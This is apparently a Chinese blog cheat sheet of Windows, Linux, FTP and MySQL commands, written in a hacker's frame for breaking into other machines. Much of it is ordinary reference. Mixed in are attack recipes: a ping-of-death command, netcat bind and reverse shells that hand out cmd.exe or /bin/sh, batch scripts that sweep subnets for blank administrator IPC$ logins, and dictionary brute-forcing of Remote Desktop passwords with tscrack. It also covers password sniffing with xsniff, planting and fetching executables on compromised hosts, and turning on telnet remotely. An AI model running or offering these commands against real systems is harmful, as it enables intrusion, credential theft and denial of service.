net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值